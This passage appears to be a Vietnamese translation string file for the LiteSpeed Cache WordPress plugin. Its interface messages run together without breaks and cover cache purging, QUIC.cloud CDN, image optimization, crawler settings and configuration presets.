AVIF chưa được tối ưu hóa.Không tồn tại bản sao lưu của tệp WebP chưa được tối ưu hóa.Không có dịch vụ đám mây nào hiện đang được sử dụngChưa tạo tệp meta trình thu thập thông tin nàoKhông tối ưu hóaMáy chủ đám mây không tìm thấy hình ảnh hợp lệ nào trong yêu cầu hiện tại.Không tìm thấy hình ảnh hợp lệ trong yêu cầu hiện tại.Không có sơ đồ trang web hợp lệ nào được phân tích cú pháp cho trình thu thập thông tin.Không thể lưu vào bộ nhớ đệmKhông có sẵnKhông bị chặnLưu ýGhi chú:Chú ýThông báoĐã thông báo Cloudflare để xóa toàn bộ thành công.Đã thông báo Cloudflare để thiết lập chế độ phát triển thành %s thành công.Máy chủ Web LiteSpeed đã được thông báo để lọc các mục CSS/JS.Máy chủ web của LiteSpeed đã được thông báo để xóa sạch tất cả các bộ nhớ cache.Đã thông báo cho LiteSpeed Web Server để xóa tất cả các trang.LiteSpeed Web Server đã được thông báo để xóa các trang lỗi.LiteSpeed Web Server đã được thông báo để xóa tất cả.Máy chủ của LiteSpeed đã được thông báo để xóa bộ nhớ đệm trang chủ.Máy chủ Web LiteSpeed đã được thông báo để xóa danh sách.TẮTBẬTHOẶCĐối tượngBộ nhớ đệm đối tượngCài đặt bộ nhớ đệm đối tượngBộ nhớ đệm đối tượng không được bật.Cung cấp tuỳ chọn <strong>dịch vụ DNS tích hợp sẵn</strong> để đơn giản hóa việc kết nối CDN.Sau khi lưu, nó sẽ được khớp với danh sách hiện tại và tự động hoàn thành.Một hoặc nhiều hình ảnh được kéo không khớp với md5 hình ảnh được thông báoMột trên mỗi dòng.Dịch vụ Trực tuyếnNút trực tuyến cần được phát hiện lại.Chỉ các thuộc tính được liệt kê ở đây mới được thay thế.Chỉ khả dụng khi %s được cài đặt.Chỉ những tập tin trong các thư mục này mới được trỏ đến CDN.Chỉ ghi nhật ký các trang được liệt kê.Chỉ tối ưu hóa trang cho khách truy cập (chưa đăng nhập). Nếu TẮT tùy chọn này, các tệp CSS/JS/CCSS sẽ được nhân đôi cho mỗi nhóm người dùng.Chỉ nhấn nút này nếu cron job bị tắt.Bộ nhớ đệm OpcodeNgười dùng OpenLiteSpeed vui lòng kiểm tra điều nàyHoạt độngTrạng thái tối ưu hóaTóm tắt tối ưu hóaCông cụ tối ưu hóaTối ưu việc tải CSS.Tối ưu hóa LosslesslyTối ưu hóa hình ảnh gốcTối ưu hóa các bảngTối ưu hóa tất cả các bảng trong cơ sở dữ liệu của bạnChỉ tối ưu hóa cho kháchTối ưu hóa hình ảnh và lưu bản sao lưu của bản gốc trong cùng một thư mục.Tối ưu hóa hình ảnh bằng cách sử dụng tính năng nén không mất dữ liệu.Tối ưu hóa hình ảnh với máy chủ QUIC.cloud của chúng tôiTối ưu hóa tất cả các bảng.Tên tùy chọnTùy chọnTùy chọn khi sử dụng mã thông báo API.Tùy chọn tạo các tệp hình ảnh WebP hoặc AVIF thế hệ tiếp theo.Đã lưu tuỳ chọn.GốcGốc %sGốc đã lưu %sURL gốcTệp gốc đã giảm %1$s (%2$s)Meta bài viết mồ côiCDN tĩnh khácCác checkbox khác sẽ bị bỏ qua.Đầu ra vào một loạt các tệp trong thư mục %s.Số dư PAYGHỗ trợ hằng số PHP %s.Thời gian tải trangTối ưu trangĐiểm PageSpeedTrangLợi ích đối tác được cung cấp bởiThông quaMật khẩuLiên kết PasswordlessĐường dẫn phải kết thúc bằng %sCác đường dẫn chứa các chuỗi này sẽ được lưu trữ mặc dù không có thiết lập bộ nhớ đệm.Các đường dẫn chứa các chuỗi này sẽ bị buộc phải lưu vào bộ nhớ đệm công khai bất kể cài đặt không có bộ nhớ đệm.Đường dẫn chứa các chuỗi này sẽ không được lưu trong bộ nhớ đệm.Đường dẫn chứa các chuỗi này sẽ không được phân phối từ CDN.Làm bao nhiêu trả bấy nhiêuThống kê sử dụng Pay as You GoKết nối liên tụcVui lòng xem xét tắt các plugin được phát hiện sau, vì chúng có thể xung đột với LiteSpeed Cache:Vui lòng KHÔNG chia sẻ liên kết không mật khẩu ở trên với bất cứ ai.Vui lòng bật LiteSpeed Cache trong cài đặt plugin.Vui lòng bật mô-đun bộ nhớ đệm LiteSpeed ở cấp máy chủ hoặc hỏi nhà cung cấp dịch vụ lưu trữ của bạn.Vui lòng đảm bảo rằng IP này là chính xác để truy cập trang web của bạn.Vui lòng đọc tất cả các cảnh báo trước khi bật tùy chọn này.Vui lòng xem %s để biết thêm chi tiết.Vui lòng kiểm tra kỹ lưỡng khi bật bất kỳ tùy chọn nào trong danh sách này. Sau khi thay đổi cài đặt Nén/Kết hợp, vui lòng thực hiện một hành động Xóa sạch tất cả.Vui lòng kiểm tra kỹ lưỡng tất cả các mục trong %s để đảm bảo chúng hoạt động như mong đợi.Vui lòng kiểm tra kỹ lưỡng từng tệp JS bạn thêm vào để đảm bảo nó hoạt động như mong đợi.Vui lòng thử sau %1$s cho dịch vụ %2$s.CổngID bài viếtBản xem lại của bài viếtLưu trữ loại bài đăngKết nối trước sẽ tăng tốc độ tải trong tương lai từ một nguồn gốc nhất định.Danh sách xác định trước cũng sẽ được kết hợp với các cài đặt trênTruy xuất DNS trước có thể giảm độ trễ cho người truy cập.Bảo vệ dữ liệu EXIF (bản quyền, GPS, nhận xét, từ khóa, v.v ...) khi tối ưu hoá.Giữ nguyên dữ liệu EXIF/XMPThiết lập sẵnNhấn nút %s để dừng thử nghiệm beta và quay lại bản phát hành hiện tại từ thư mục Plugin của WordPress.Nhấn nút %s để sử dụng bản cam kết GitHub gần đây nhất. Master dành cho ứng viên phát hành & Dev dành cho thử nghiệm thử nghiệm.Ngăn Google Fonts tải trên tất cả các trang.Ngăn chặn bất kỳ nhật ký gỡ lỗi của các trang được liệt kê.Ngăn chặn bất kỳ tải chậm của các trang được liệt kê.Ngăn chặn tối ưu hóa các trang được liệt kê.Ngăn ghi các mục nhật ký bao gồm các chuỗi được liệt kê.Yêu cầu trước đây quá gần đây. Vui lòng thử lại sau %s.Yêu cầu trước đây quá gần đây. Vui lòng thử lại sau.Đã tồn tại trước đây trong danh sách chặnRiêng tưBộ nhớ đệm riêngURI được lưu trong bộ nhớ cache riêng tưBộ nhớ đệm riêngCache một cách riêng tư cho các bình luận đang chờ xử lý. Tắt tùy chọn này thì máy chủ sẽ không cache cho các trang có người bình luận. (Yêu cầu LSWS %s)Các trang giao diện bộ nhớ đệm riêng tư dành cho người dùng đã đăng nhập. (Yêu cầu LSWS %s)Xử lý các hình ảnh PNG và JPG đã tải lên của bạn để tạo ra các phiên bản nhỏ hơn mà không làm giảm chất lượng.Xử lý các định dạng hình ảnh PNG, JPG và WebP là miễn phí. AVIF có sẵn với phí.Khoảng cập nhật sản phẩmCung cấp <strong>bảo mật ở cấp độ CDN</strong>, bảo vệ máy chủ của bạn khỏi các cuộc tấn công.Công khaiBộ nhớ đệm công khaiPull Cron đang chạyGửi hình ảnhMã MD5 của ảnh AVIF được kéo không khớp với mã MD5 của ảnh AVIF được thông báo.Hình ảnh WebP md5 được kéo không khớp với hình ảnh WebP md5 được thông báo.Dọn dẹpXóa %s lỗiXóa các trang lỗi %sXóa tất cảDọn dẹp tất cả các hookXóa tất cả khi nâng cấpXóa bởi...Dọn dẹp mọi thứXóa bộ nhớ đệm trang chủXóa danh sáchXóa nhật kýDọn dẹp các trangCài đặt dọn dẹpXóa tất cả nhớ đệm đối tượng thành công.Xóa tất cả bộ nhớ đệm đối tượngXóa các danh mục chỉ khi trạng thái hàng tồn kho thay đổi.Xóa danh mục %sDọn dẹp các trang theo tên danh mục - ví dụ: Nên sử dụng %2$s cho URL %1$s.Dọn dẹp các trang bằng ID bài viết.Dọn dẹp các trang bằng URL tương đối hoặc đầy đủ.Dọn dẹp các trang theo thẻ tên - ví dụ: Nên sử dụng %2$s cho URL %1$s.Xóa sản phẩm và danh mục chỉ khi trạng thái hàng hóa thay đổi.Xóa sản phẩm khi thay đổi số lượng hoặc trạng thái hàng hóa.Xóa sản phẩm chỉ khi trạng thái hàng hóa thay đổi.Xóa tag %sXóa các mục bộ nhớ cache LiteSpeed được tạo bởi plugin nàyLọc các mục bộ đệm được tạo bởi plugin này ngoại trừ bộ đệm CSS & LQIP quan trọng & CSS duy nhấtXóa bộ nhớ đệm trang nàyXóa url %sĐã xóa tất cả!Dọn dẹp tất cả các bộ nhớ cache thành công.Đã dọn dẹp blog!Đã dọn dẹp!Đã đẩy %1$s lên máy chủ Đám mây, đã chấp nhận %2$s.QUIC.cloudTùy chọn QUIC.cloud CDNTổng quan trạng thái QUIC.cloud CDNQUIC.cloud CDN <strong>không có sẵn</strong> cho người dùng ẩn danh (không có liên kết).QUIC.cloud CDN hiện đang <strong>được tắt hoàn toàn</strong>.Tích hợp QUIC.cloud bị tắtTích hợp QUIC.cloud được bậtTích hợp QUIC.cloud được bật với các giới hạnDịch vụ Trực tuyến QUIC.cloudThống kê sử dụng dịch vụ QUIC.cloudQUIC.cloud cung cấp dịch vụ CDN và tối ưu hóa trực tuyến và không bắt buộc. Bạn có thể sử dụng nhiều tính năng của plugin này mà không cần QUIC.cloud.Dịch vụ Tối ưu hóa Hình ảnh của QUIC.cloud thực hiện các thao tác sau:Các Dịch vụ Trực tuyến của QUIC.cloud cải thiện trang web của bạn theo các cách sau:Dịch vụ Tối ưu hóa Trang của QUIC.cloud giải quyết vấn đề mã CSS cồng kềnh và cải thiện trải nghiệm người dùng trong quá trình tải trang, điều này có thể dẫn đến cải thiện điểm số tốc độ trang.Quyền truy cập của QUIC.cloud vào WP REST API của bạn dường như đã bị chặn.Chuỗi truy vấn có chứa các tham số này sẽ không được lưu bộ nhớ đệm.Đánh giá %1$s trên %2$sĐọc tài liệu LiteSpeedKhuyến nghị tạo mã thông báo từ mẫu mã thông báo API Cloudflare "WordPress".Giá trị đề xuất: 28800 giây (8 giờ).Phát hiện lạiNút được phát hiện lạiID cơ sở dữ liệu của RedisRedis đã gặp lỗi nghiêm trọng: %1$s (mã: %2$d)Làm mớiLàm mới sơ đồ trang trình thu thập thông tinLàm mới bộ nhớ đệm Gravatar bằng cron.Làm mới trạng thái QUIC.cloudLàm mới trạng tháiLàm mới sử dụngLàm mới thời gian tải trangLàm mới điểm trangTạo lại và gửi báo cáo mớiHạn ngạch hàng ngày còn lạiXóa URL CDNXóa bỏ Google FontsGỡ thẻ NoscriptXóa bản sao lưu gốcXóa bản sao lưu hình ảnh gốcXóa tích hợp QUIC.cloud khỏi trang web này. Lưu ý: Dữ liệu QUIC.cloud sẽ được lưu giữ để bạn có thể bật lại dịch vụ bất cứ lúc nào. Nếu bạn muốn xóa hoàn toàn trang web của mình khỏi QUIC.cloud, hãy xóa tên miền thông qua Bảng điều khiển QUIC.cloud trước.Xóa các chuỗi truy vấnXóa chuỗi truy vấn khỏi tệp tĩnhGỡ bỏ WordPress EmojiLoại bỏ tất cả các yêu cầu/kết quả tối ưu hóa hình ảnh trước đó, hoàn tác lại các tối ưu hóa đã hoàn thành và xóa tất cả các tệp tối ưu hóa.Loại bỏ tất cả các yêu cầu tối ưu hóa hình ảnh chưa hoàn thành trước đó.Xóa cookie mô phỏngGỡ khỏi danh sách đenXóa chuỗi truy vấn khỏi tài nguyên tĩnh nội bộ.Đã xóa CSS không sử dụng cho người dùngĐã xóa các bản sao lưu thành công.Thay thế %1$s bằng %2$s.Báo cáoYêu cầu các phiên bản WebP/AVIF của ảnh gốc khi thực hiện tối ưu hóa.Yêu cầu trong hàng đợiQuét lại hình thu nhỏ mớiĐã quét lại %d hình ảnh thành công.Đã quét lại thành công.Đã đặt lại %s kích hoạt thành công.Đặt lại tất cả cài đặtKhôi phục cài đặtĐã đặt lại bộ đếm tối ưu hóa hình ảnh thành công.Đặt lại vị tríĐặt lại thành công.Đặt lại toàn bộ, bộ nhớ đệm OpcodeĐặt lại dữ liệu được tối ưu hóa thành công.Các tài nguyên được liệt kê ở đây sẽ được sao chép và thay thế bằng các URL cục bộ.Trình giữ chỗ đáp ứngMàu giữ chỗ phản hồiSVG giữ chỗ phản hồiTrình giữ chỗ hình ảnh đáp ứng có thể giúp giảm bớt bố cục khi hình ảnh được tải.Khôi phục cài đặtKhôi phục bản sao lưuĐã khôi phục cài đặt sao lưu %1$sĐã khôi phục tệp gốc thành công.Tuổi tối đa của Bản sửa đổiSố bản sửa đổi tối đaCác bản sửa đổi mới hơn nhiều ngày này sẽ được giữ lại khi dọn dẹp các bản sửa đổi.Những vai trò loại trừMô phỏng vai tròChạy Hàng đợi %s Thủ côngTần số chạyChạy hàng đợi thủ côngTần số chạy được đặt theo cài đặt Khoảng thời gian giữa các lần chạy.Chạy thời gian cho trình thu thập thông tin trước đóĐang chạyCÚ PHÁP: chữ và số và dấu "_". Không có khoảng trắng và phân biệt chữ hoa chữ thường.CÚ PHÁP: chữ và số và dấu "_". Không có khoảng trắng và phân biệt chữ hoa chữ thường. PHẢI LÀ DUY NHẤT so với các ứng dụng web khác.Lưu thay đổiLưu tạm thời trong cơ sở dữ liệu khi %1$s là %2$s.Đã lưuLưu tùy chọn không thành công. Chỉ IPv4 cho %s.Quét bất kỳ kích thước thu nhỏ hình ảnh mới nào chưa được tối ưu hóa và gửi lại các yêu cầu tối ưu hóa hình ảnh cần thiết.Dọn dẹp theo lịch trìnhCác URL được dọn dẹp theo lịch trìnhChọn "Tất cả" nếu có widgets động được liên kết đến bài đăng trên các trang khác với trang đầu hoặc trang chủ.Chọn bên dưới cho các tùy chọn "Dọn dẹp theo".Chọn chỉ các loại lưu trữ đang được sử dụng, những loại khác có thể không được đánh dấu.Chọn những trang nào sẽ được tự động xóa khi bài đăng được xuất bản/cập nhật.Các vai trò được chọn sẽ bị loại trừ khỏi tất cả các tối ưu hóa.Các vai trò đã chọn sẽ bị loại bỏ khỏi bộ nhớ cache.Bộ chọn phải tồn tại trong CSS. Các lớp cha trong HTML sẽ không hoạt động.Gửi yêu cầu tối ưu hóaGửi báo cáo này cho LiteSpeed. Tham khảo số báo cáo này khi đăng bài trong diễn đàn hỗ trợ WordPress.Gửi tới LiteSpeedGửi lên twitter để nhận %s điểm thưởngCCSS Cache riêng biệt cho các loại bài viết Các URI Cache CCSS riêng biệtCác tệp CSS quan trọng riêng biệt sẽ được tạo cho các đường dẫn chứa các chuỗi này.Phục vụ cũPhục vụ một bản sao bộ nhớ đệm riêng biệt cho khách truy cập di động.Phục vụ tất cả các tệp CSS thông qua CDN. Điều này sẽ ảnh hưởng đến tất cả các tập tin WP CSS enqueued.Phục vụ tất cả các tệp JavaScript thông qua CDN. Điều này sẽ ảnh hưởng đến tất cả các tập tin WP JavaScript enqueued.Phân phối tất cả các tệp hình ảnh qua CDN. Điều này sẽ ảnh hưởng đến tất cả các tệp đính kèm, thẻ HTML %1$s và thuộc tính CSS %2$s.IP máy chủGiới hạn tải máy chủ(Các) máy chủ %s sẵn sàng để ghi đè cài đặt này.Đặt chiều rộng và chiều cao rõ ràng trên các phần tử hình ảnh để giảm chuyển dịch bố cục và cải thiện CLS (một chỉ số Core Web Vitals).Đặt tùy chọn này để nối %1$s vào tất cả các quy tắc %2$s trước khi lưu vào bộ nhớ đệm CSS để chỉ định cách hiển thị phông chữ trong khi tải xuống.Đặt thành %1$s để ngăn Heartbeat trên %2$s.Thiết lập tiêu đề tùy chỉnhCài đặt - Bộ nhớ đệmRút ngắn chuỗi truy vấn trong nhật ký gỡ lỗi để cải thiện khả năng đọc.Hiển thị trạng thái của trình thu thập thông tinCải thiện đáng kể thời gian tải bằng cách thay thế hình ảnh bằng phiên bản được tối ưu hóa %s.URL trang web được phân phát qua CDN. Bắt đầu với %1$s. Ví dụ: %2$s.Trang web không được nhận dạng. QUIC.cloud đã tự động tắt. Vui lòng kích hoạt lại tài khoản QUIC.cloud của bạn.Danh sách sơ đồ trang webTổng số sơ đồ trang webSơ đồ trang web đã được xóa thành côngSơ đồ trang web đã được tạo thành công: %d mụcKích cỡDanh sách kích thước trong hàng chờ đợi cronNhỏ hơnĐặt lại bộ đếm tối ưu hóaMột số tệp hình ảnh được tối ưu hóa đã hết hạn và bị xóa.Bình luận rácChỉ định hình ảnh base64 sẽ được sử dụng làm trình giữ chỗ đơn giản trong khi hình ảnh hoàn tất tải.Chỉ định một hành động AJAX trong POST/GET và số giây để lưu trữ yêu cầu đó, được phân cách bằng dấu cách.Chỉ định mã trạng thái HTTP và số giây để lưu trang đó, cách nhau bởi khoảng trắng.Chỉ định SVG để sử dụng làm trình giữ chỗ khi tạo cục bộ.Chỉ định quy tắc CSS quan trọng cho nội dung trong màn hình đầu tiên khi bật %s.Chỉ định khoảng thời gian tính bằng giây trước khi trình thu thập thông tin bắt đầu thu thập lại toàn bộ sơ đồ trang web.Chỉ định thời gian, tính bằng giây, các tệp Gravatar được lưu trong bộ nhớ cache.Chỉ định thời gian, tính bằng giây, các cuộc gọi REST được lưu trong bộ nhớ cache.Chỉ định thời gian, tính bằng giây, nguồn cấp dữ liệu được lưu trữ.Chỉ định thời gian, tính bằng giây, các trang riêng tư được lưu vào bộ nhớ cache.Chỉ định thời gian, tính bằng giây, các trang công khai được lưu vào bộ nhớ cache.Chỉ định thời gian, tính bằng giây, trang trước được lưu trữ.Chỉ định khoảng thời gian Heartbeat %s tính bằng giây.Chỉ định kích thước tối đa của tệp nhật ký.Chỉ định số lượng các bản sửa đổi gần đây nhất để giữ lại khi làm sạch các bản sửa đổi.Chỉ định mật khẩu được sử dụng khi kết nối.Chỉ định chất lượng khi tạo LQIP.Chỉ định màu SVG của trình giữ chỗ phản hồi.Chỉ định thời gian để dọn sạch danh sách "%s".Chỉ định các thuộc tính phần tử HTML nào sẽ được thay thế bằng CDN Mapping.Chỉ định các thuộc tính phần tử nào sẽ được thay thế bằng WebP/AVIF.Tăng tốc trang web WordPress của bạn hơn nữa với <strong>Dịch vụ trực tuyến và CDN của QUIC.cloud</strong>.Tăng tốc độ trang web WordPress của bạn hơn nữa với Dịch vụ Trực tuyến và CDN của QUIC.cloud.Chia sẻ tình yêu và kiếm %s tín dụng để sử dụng trong các dịch vụ trực tuyến QUIC.cloud của chúng tôi.Thiết lập sẵn tiêu chuẩnBắt đầu thu thập dữ liệu không đồng bộBắt đầu yêu cầu tối ưu hóa hình ảnh không đồng bộCác liên kết của tập tin tĩnh sẽ được thay thế bằng liên kết CDN.Trạng tháiDừng tải biểu tượng cảm xúc WordPress.org. Biểu tượng cảm xúc mặc định của trình duyệt sẽ được hiển thị thay thế.Tối ưu hóa bộ nhớLưu trữ Gravatar trên hosting.Lưu trữ tạm thờiGửi ticketĐã thu thập dữ liệu thành côngTóm tắtDiễn đàn hỗ trợChắc chắn là tôi muốn đánh giá rồi!SwapQuay lại sử dụng hình ảnh được tối ưu hóa trên trang web của bạnĐã chuyển đổi hình ảnh thành công.Đã chuyển thành tệp tối ưu hóa thành công.Đã đồng bộ trạng thái QUIC.cloud thành công.Đồng bộ hóa khoản tín dụng với máy chủ đám mây thành công.Đồng bộ hóa dữ liệu từ đám mâyThông tin hệ thốngTTLBảngTagTạm thời bỏ qua bộ nhớ cache Cloudflare. Điều này cho phép việc thay đổi máy chủ gốc sẽ được nhìn thấy theo thời gian thực.Lưu trữ mục phân loại (bao gồm chuyên mục, thẻ và thuế)Đang kiểm traCảm ơn bạn đã sử dụng Plugin LiteSpeed Cache!Tùy chọn IP admin chỉ xuất ra các thông điệp ghi log cho các yêu cầu từ các IP admin được liệt kê dưới đây.Plugin LiteSpeed Cache được sử dụng để lưu trang vào bộ nhớ cache - một cách đơn giản để cải thiện hiệu suất của trang web.Các URL ở đây (mỗi URL là một dòng) sẽ được xóa tự động tại thời điểm được đặt trong tùy chọn "%s".Các URL sẽ được so sánh với biến máy chủ REQUEST_URI.Dịch vụ hình ảnh khung nhìn phát hiện hình ảnh nào xuất hiện phía trên nếp gấp và loại trừ chúng khỏi tải chậm.Các nonces trên sẽ được chuyển đổi thành ESI tự động.Lượng thời gian, tính bằng giây, các tệp đó sẽ được lưu trữ trong bộ nhớ cache của trình duyệt trước khi hết hạn.Bộ nhớ cache cần phải phân biệt người đăng nhập vào trang WordPress nào để bộ nhớ cache chính xác.Xác thực cuộc gọi lại đến miền của bạn không thành công do băm không khớp.Xác thực gọi lại cho miền của bạn không thành công. Hãy đảm bảo rằng không có tường lửa nào chặn máy chủ của chúng tôi.Xác thực gọi lại cho miền của bạn không thành công. Hãy đảm bảo rằng không có tường lửa nào chặn máy chủ của chúng tôi. Mã phản hồi:Bộ cookie đặt ở đây sẽ được sử dụng cho cài đặt WordPress này.Tính năng trình thu thập thông tin không được bật trên máy chủ LiteSpeed. Vui lòng tham khảo ý kiến quản trị viên máy chủ hoặc nhà cung cấp dịch vụ lưu trữ của bạn.Trình thu thập dữ liệu sẽ sử dụng sơ đồ trang web XML hoặc chỉ mục sơ đồ trang web của bạn. Nhập URL đầy đủ vào sơ đồ trang web của bạn tại đây.Máy chủ hiện tại đang bị quá tải.Cơ sở dữ liệu đã được nâng cấp trong nền kể từ %s. Thông báo này sẽ biến mất sau khi nâng cấp hoàn tất.Cookie đăng nhập mặc định là %s.Báo cáo môi trường chứa thông tin chi tiết về cấu hình WordPress.Các tùy chọn sau được chọn, nhưng không thể chỉnh sửa trong trang cài đặt này.Cài đặt chất lượng nén hình ảnh của WordPress trên 100.Danh sách hình ảnh trống.Tệp dữ liệu mới nhất làDanh sách sẽ được hợp nhất với các mã nonce được xác định trước trong tệp dữ liệu cục bộ của bạn.Quá trình tải từ máy chủ trung bình tối đa được phép trong khi thu thập thông tin. Số lượng luồng thu thập thông tin đang sử dụng sẽ được giảm tích cực cho đến khi quá trình tải từ máy chủ trung bình rơi vào giới hạn này. Nếu nó không thể đạt được với một luồng duy nhất, thì trình thu thập thông tin hiện tại sẽ bị chấm dứt.Quản trị viên mạng có quyền chọn thiết lập của trang chính cho tất cả các trang con.Cài đặt quản trị mạng có thể được ghi đè ở đây.Thu thập sơ đồ trang web hoàn chỉnh tiếp theo sẽ bắt đầu tạiHàng đợi được xử lý không đồng bộ. Có thể mất một chút thời gian.Bộ chọn phải tồn tại trong CSS. Các lớp cha trong HTML sẽ không hoạt động.Máy chủ sẽ xác định xem người dùng có đăng nhập hay không dựa trên sự tồn tại của cookie này.Trang web không phải là bí danh hợp lệ trên QUIC.cloud.Trang web không được đăng ký trên QUIC.cloud.Người dùng có id %s có quyền truy cập chỉnh sửa, điều này không được phép đối với trình giả lập vai trò.Sau đó, một WordPress khác được cài đặt (KHÔNG MULTISITE) tại %sCó một WordPress được cài đặt cho %s.Có hàng đợi đang xử lý chưa được kéo.Có hàng đợi đang tiến hành chưa được kéo. Thông tin hàng đợi: %s.Những hình ảnh này sẽ không tạo LQIPNhững tùy chọn này chỉ có ở LiteSpeed Enterprise Web Server hoặc QUIC.cloud CDN.Các cài đặt này chỉ dành cho NGƯỜI DÙNG NÂNG CAO.Hành động này chỉ nên được sử dụng nếu mọi thứ được cache không chính xác.Điều này cũng có thể được xác định trước trong %2$s bằng cách sử dụng hằng số %1$s, với cài đặt này được ưu tiên.Điều này có thể cải thiện thời gian tải trang bằng cách giảm các yêu cầu HTTP ban đầu.Điều này có thể cải thiện chất lượng nhưng có thể dẫn đến hình ảnh lớn hơn nén mất dữ liệu.Điều này có thể cải thiện tốc độ tải trang.Điều này có thể cải thiện điểm số tốc độ của bạn trong các dịch vụ như Pingdom, GTmetrix và PageSpeed.Điều này cho phép màn hình ban đầu của trang web hiển thị đầy đủ hình ảnh mà không bị chậm trễ.Điều này là không thể đảo ngược.Điều này đảm bảo khả năng tương thích trước khi bật bộ nhớ cache cho tất cả các trang web.Bản thiết lập sẵn này có rủi ro thấp, mang đến các tối ưu hóa cơ bản giúp cải thiện tốc độ và trải nghiệm người dùng. Phù hợp cho những người mới bắt đầu với tinh thần học hỏi.Điều này có thể gây ra quá tải trên máy chủ.Thông báo này cho biết plugin đã được cài đặt bởi quản trị viên máy chủ.Thiết lập sẵn không có rủi ro này phù hợp với tất cả các trang web. Tốt cho người dùng mới, trang web đơn giản hoặc phát triển hướng đến bộ nhớ đệm.Tùy chọn này có thể giúp sửa lỗi bộ nhớ đệm khác nhau cho một số khách truy cập di động hoặc máy tính bảng nâng cao nhất định.Tùy chọn này cho phép tối ưu hóa tối đa cho khách truy cập ở Chế độ Khách.Tùy chọn này bị bỏ qua vì tùy chọn %1$s là %2$s.Tùy chọn này bị bỏ qua do tùy chọn %s.Tùy chọn này có thể dẫn đến lỗi JS hoặc sự cố bố cục trên các trang giao diện người dùng với một số chủ đề/plugin nhất định.Tùy chọn này sẽ tự động bỏ qua tùy chọn %s.Tùy chọn này sẽ xóa tất cả các thẻ %s khỏi HTML.Thiết lập sẵn này gần như chắc chắn sẽ yêu cầu thử nghiệm và loại trừ đối với một số hình ảnh CSS, JS và Lazy Loaded. Hãy đặc biệt chú ý đến logo hoặc hình ảnh trình chiếu dựa trên HTML.Đây là bản thiết lập sẵn phù hợp cho hầu hết các trang web và ít có khả năng gây ra xung đột. Nếu có xung đột về CSS hoặc JS, bạn có thể giải quyết bằng các công cụ Tối ưu hóa trang > Tinh chỉnh.Thiết lập sẵn này có thể hoạt động ngay lập tức cho một số trang web, nhưng hãy đảm bảo kiểm tra! Một số loại trừ CSS hoặc JS có thể cần thiết trong Tối ưu hóa trang > Tinh chỉnh.Quá trình này là tự động.Cài đặt này là %1$s cho các yêu cầu đủ điều kiện nhất định do %2$s!Cài đặt này hữu ích cho những người có nhiều ứng dụng web cho cùng một tên miền.Cài đặt này sẽ chỉnh sửa tập tin .htaccess.Cài đặt này sẽ tạo lại danh sách trình thu thập dữ liệu và xóa danh sách bị vô hiệu hóa!Trang web này sử dụng bộ nhớ đệm để tạo điều kiện cho thời gian phản hồi nhanh hơn và trải nghiệm người dùng tốt hơn. Bộ nhớ đệm có khả năng lưu trữ bản sao của mọi trang web được hiển thị trên trang này. Tất cả các tệp bộ đệm đều là tạm thời và không bao giờ được bất kỳ bên thứ ba nào truy cập, ngoại trừ khi cần thiết để nhận được hỗ trợ kỹ thuật từ nhà cung cấp plugin bộ đệm. Các tệp bộ đệm hết hạn theo lịch do quản trị viên trang web đặt ra, nhưng quản trị viên có thể dễ dàng xóa trước khi hết hạn tự nhiên, nếu cần. Chúng tôi có thể sử dụng các dịch vụ QUIC.cloud để tạm thời xử lý và lưu vào bộ nhớ đệm dữ liệu của bạn.Điều này sẽ chỉ dọn dẹp Trang chủĐiều này sẽ chỉ dọn dẹp các trangĐiều này cũng sẽ thêm một kết nối trước đến Google Fonts để thiết lập kết nối sớm hơn.Thao tác này sẽ sao lưu cài đặt hiện tại của bạn và thay thế chúng bằng thiết lập sẵn %1$s. Bạn có muốn tiếp tục?Điều này sẽ xóa bỏ MỌI THỨ bên trong bộ nhớ cache.Điều này sẽ xóa tất cả các tệp Gravatar được lưu trữĐiều này sẽ xóa toàn bộ tệp tin CSS quan trọng đã được tạo.Điều này sẽ xóa tất cả các tệp giữ chỗ LQIP hình ảnh được tạoThao tác này sẽ xóa tất cả các tệp CSS duy nhất đã tạoĐiều này sẽ xóa tất cả các tài nguyên được bản địa hóaĐiều này sẽ vô hiệu hóa bộ nhớ đệm LiteSpeed và tất cả các tính năng tối ưu hóa cho mục đích gỡ lỗi.Điều này sẽ vô hiệu hóa trang cài đặt trên tất cả các trang con.Điều này sẽ loại bỏ CSS không sử dụng trên mỗi trang khỏi tệp kết hợp.Điều này sẽ cho phép cron thu thập thông tin.Thao tác này sẽ xuất tất cả cài đặt LiteSpeed Cache hiện tại và lưu chúng dưới dạng tệp.Điều này sẽ tạo ra yêu cầu bổ sung cho máy chủ, sẽ làm cho máy chủ tải nhiều hơn.Điều này sẽ tạo ra trình giữ chỗ có cùng kích thước với hình ảnh nếu nó có thuộc tính chiều rộng và chiều cao.Thao tác này sẽ nhập cài đặt từ tệp và ghi đè tất cả cài đặt LiteSpeed Cache hiện tại.Điều này sẽ làm tăng kích thước của các tập tin tối ưu hóa.Điều này sẽ ghi nội tuyến các thư viện CSS không đồng bộ để tránh việc chặn hiển thị.Thao tác này sẽ chỉ xóa tất cả các mục CSS/JS được né/kết hợpThao tác này sẽ đặt lại tất cả cài đặt về mặc định.Điều này sẽ đặt lại %1$s. Nếu bạn đã thay đổi cài đặt WebP/AVIF và muốn tạo %2$s cho các hình ảnh đã được tối ưu hóa trước đó, hãy sử dụng hành động này.Thao tác này sẽ khôi phục cài đặt sao lưu đã tạo %1$s trước khi áp dụng preset %2$s. Mọi thay đổi được thực hiện kể từ đó sẽ bị mất. Bạn có muốn tiếp tục?Để thu thập thông tin cho một cookie cụ thể, hãy nhập tên cookie và các giá trị bạn muốn thu thập thông tin. Các giá trị phải là một giá trị trên mỗi dòng. Sẽ có một trình thu thập thông tin được tạo cho mỗi giá trị cookie, cho mỗi vai trò mô phỏng.Để thu thập thông tin trang web dưới dạng người dùng đã đăng nhập, hãy nhập id người dùng để được mô phỏng.Để xác định một TTL tùy chỉnh cho một URI, hãy thêm một khoảng trắng theo sau là giá trị TTL vào cuối URI.Để thực hiện kết hợp chính xác, hãy thêm %s vào cuối URL.Để bật chức năng sau, hãy BẬT API Cloudflare trong Cài đặt CDN.Để loại trừ %1$s, hãy chèn %2$s.Để tạo một liên kết đăng nhập không cần mật khẩu cho nhóm LiteSpeed Support Team, bạn phải cài đặt %s.Để cấp quyền truy cập wp-admin cho nhóm LiteSpeed Support, vui lòng tạo một liên kết đăng nhập không cần mật khẩu cho người dùng đăng nhập hiện tại được gửi cùng với báo cáo.Để đảm bảo máy chủ của chúng tôi có thể giao tiếp với máy chủ của bạn mà không gặp bất kỳ sự cố nào và mọi thứ đều hoạt động tốt, đối với một số yêu cầu đầu tiên, số lượng nhóm hình ảnh được phép trong một yêu cầu sẽ bị 